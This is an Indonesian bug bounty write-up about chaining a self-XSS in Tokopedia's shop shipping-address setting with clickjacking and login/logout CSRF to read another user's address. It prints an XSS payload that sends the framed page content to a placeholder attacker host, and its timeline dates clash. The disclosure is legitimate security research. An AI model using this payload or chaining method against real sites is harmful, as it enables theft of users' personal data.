[Bug Bounty Tokopedia] Stored Self XSS to Get User Info on Tokopedia

[*] Bug Bounty Tokopedia
Tokopedia merupakan salah satu pusat perbelanjaan daring di Indonesia yang mengusung model bisnis marketplace. Didalam marketplace sudah pasti akan banyak pengguna yang mendaftar. Dan Tokopedia juga sangat mengutamakan masalah keamanan pada sistemnya. Maka dari itu tokopedia mengadakan sebuah program bug bounty bagi siapapun yang dapat menemukan celah pada sistem tokopedia. Untuk lebih jelas mengenai program tersebut dapat di baca pada https://github.com/tokopedia/Bug-Bounty

[*] Self-XSS
Self-XSS (Cross Site Scripting) merupakan teknik injeksi script yang berjalan pada pengguna itu sendiri,artinya teknik serangan ini tidak akan bisa mengeksploitasi pengguna lainnya selain attacker itu sendiri. Alasan Self-XSS tidak dapat digunakan untuk mengeksploitasi pengguna lainnya dikarenakan teknik serangan ini memerlukan autentikasi ke akun si attacker untuk dapat menjalankan payload yang di injeksi. Oleh sebab itu juga hampir seluruh program Bug Bounty memasukan Self-XSS ke dalam kategori out of scope dengan alasan celah tersebut tidak dapat di exploitasi kepada pengguna lainnya.

[*] Self-XSS dan ClickJacking Out of Scope
Sebelum masuk ke dalam POC,saya ingin bercerita sedikit bagaimana tokopedia dapat menerima dengan "Severity Medium" laporan celah Self-XSS yang saya temukan melalui program Bug-Bounty mereka.

Di dalam "Out of Scope Vulnerability", Tertera Self-XSS bukan merupakan scope dimana tokopedia pasti tidak akan memproses ketingkat lebih lanjut jika ada yang melaporkan terkait bug Self-XSS. Akan tetapi ada catatan kecil yaitu : "Tokopedia membutuhkan bukti bagaimana Self-XSS dapat di exploitasi kepada pengguna lainnya". Dari Catatan inilah saya mulai mencari tau bagaimana cara mengeksploitasi Self-XSS agar dapat ber-impact pada pengguna lainnya.
Akhirnya setelah lama mecari,saya menemukan sebuah channel Youtube "Security Fest" yang membahas tentang Self XSS pada salah satu videonya yang berjudul Self XSS we’re not so different you and I - Mathias Karlsson - Security Fest 2017.

Pada video tersebut membahas jika ingin Self-XSS dapat mengeksploitasi pengguna lainnya ada syarat yang harus dipenuhi. Yaitu situs tersebut mempunyai kelemahan bug ClickJacking. Apa itu ClickJacking? ClickJacking merupakan bug dengan severity rendah dikarenakan bug ini hanya dimanfaatkan untuk menampilkan halaman web yang mempunyai celah ClickJacking melalui website lainnya. Biasanya bug ClickJacking digunakan untuk memanipulasi website yang memiliki celah ClickJacking didalam website attacker dengan mengatur tata letak sesuai keinginan attacker untuk dapat melakukan suatu tindakan yang berbahaya pada website yang memiliki celah tersebut. Tetapi pada konsep ini ClickJacking dapat menjadi lebih berbahaya jika di lakukan rantaian (chaining) bug dengan XSS (Self-XSS) dan CSRF.

[*] Proof Of Concept Self XSS
Saya akan membahas bug Self-XSS terlebih dahulu. Pada website tokopedia terdapat Self-XSS pada fitur pengaturan "Pengiriman Alamat Toko".
Bug XSS dapat berjalan dengan menginputkan payload melalui Aplikasi Android (Tokopedia), dikarenakan jika melalui website secara langsung akan terdapat validasi inputan yang mengharuskan user menginputkan alamat toko sesuai daerah yang di pilih.

Aplikasi Android (Tokopedia)
1. Masuk ke Pengaturan pada tab menu pilih Atur Toko => Pengiriman


2. Melakukan tes xss pada kolom "Alamat Toko" dengan input payload "<script>alert(1);</script>"

3. Membuka url "https://www.tokopedia.com/myshop-editor.pl?tab=shipping" dan XSS tereksekusi.

[*] Proof Of Concept Self-XSS to Get User Info
Setelah mengetahui url celah Self-XSS, selanjutkan memanfaatkan bug ClickJacking,ClickJacking dapat dimanfaatkan untuk melakukan framing pada halaman web yang bersifat "rahasia". Sesuai dari judul refrensi yang saya dapatkan yaitu "we're not so different you and I" berarti halaman apapun yang user lain lihat pada tokopedia tidaklah jauh berbeda dengan halaman web yang kita lihat sebagai user tokopedia. Hanya saja dibatasi autentikasi dan beberapa perbedaan parameter seperti "id".

Dikarenakan tokopedia tidak menutup ClickJacking dan terdapat Self XSS pada suatu halaman maka kita dapat melanjutkannya.

1. Membuat IFRAME 1 (Halaman Privasi User Lain)
Disini saya akan mencoba mengambil info alamat user lainnya dengan membuat iframe yang berasal dari link alamat user yang biasa kita lihat.
Pada tokopedia untuk dapat melihat alamat pengguna terdapat pada link :
https://www.tokopedia.com/people/[id_user]/address
Untuk dapat mengetahui id_user target dapat dengan mengujungi halaman user target lalu dengan melihat source codenya maka kita akan mendapat id_user target pada halaman tersebut.
Setelah mengetahui id_user user tokopedia,saya membuat sebuah iframe yang pertama.
(IFRAME 1)

2. Membuat IFRAME 2 (CSRF Logout/Login)
Iframe kedua membuat CSRF logout dan login.

1. Logout dari akun target
2. Login ke akun attacker

Dengan seperti itu maka akun attacker sudah login pada sisi user target.

3. Membuat IFRAME 3 (Halaman Stored Self-XSS)
Setelah akun attacker login disisi target, saya membuat iframe ketiga dan mem-framing-nya ke halaman fitur pengaturan "Pengiriman Alamat Toko" pada tokopedia. Dimana pada halaman tersebut terdapat bug XSS yang sudah disisipkan script agar halaman tersebut dapat mengambil source code IFRAME 1 yang terdapat pada web attacker dan mengirimkannya ke server attacker.

Payload Script pada web tokopedia (Vuln Self-XSS) :
<script>window.location.href = 'http://[attacker.com]/selfxss/log.php?ambil='+encodeURI(top.frames[0].document.body.getElementsByTagName("table")[0].innerHTML)</script>
Pada script top.frames[0].document.body.getElementsByTagName("table")[0].innerHTML adalah script yang membuat halaman didalam iframe 3 pada website attacker dapat membaca iframe 1.

End Point Vuln Self-XSS :
https://www.tokopedia.com/myshop-editor.pl?tab=shipping
(IFRAME 3)

Dengan begitu maka IFRAME 3 akan mengambil source code pada IFRAME 1 dan disisi tokopedia tidak akan ada blok origin,karena yang menjalankan script tersebut berasal dari website tokopedia itu sendiri (IFRAME 3).

Website attacker sekarang terdapat 3 iframe :
IFRAME 1 : Halaman Privasi User Lain
IFRAME 2 : CSRF Logout/Login
IFRAME 3 : Halaman Stored Self-XSS


Setelah sudah mempunyai 3 iframe selanjutnya hanya tinggal menjalankannya secara berurutan, masing masing iframe di set waktu eksekusi agar berjalan secara berurutan.
Pertama : IFRAME 1 mengambil data informasi dari halaman akun target.
Kedua : IFRAME 2 melakukan csrf logout dari akun target dan login ke akun attacker.
Ketiga : IFRAME 3 melakukan tugasnya untuk mengambil source IFRAME 1 lalu mengirimkan alamat user target ke server attacker.
Keempat : Data user target sudah tersimpan pada server attacker.


Kesimpulannya jika kita menemukan bug Self-XSS lebih baik memeriksa terlebih dahulu web tersebut terdapat celah ClickJacking atau tidak. Jika ada kemungkinan besar dapat di lakukan rantaian seperti ini.

[*] Video Proof of Concept (POC) : 
Stored Self XSS to Get User Info on Tokopedia

[*] Timeline
  • 25/09/2018 - Report ke Tokopedia
  • 04/10/2018 - Bug dinyatakan Valid Severity "Medium"
  • 21/12/2018 - Konfirmasi Bug Fixed
  • 06/03/2018 - Reward (Thanks Tokopedia)
  • 11/03/2018 - Apresiasi Sertifikat

[*] Refrensi

[*] Catatan
Tulisan ini sudah mendapatkan persetujuan dari pihak terkait sebelum di publikasikan,sesuai dengan persayaratan yang dibuat oleh pihak terkait (https://github.com/tokopedia/Bug-Bounty)

Posting Komentar

0 Komentar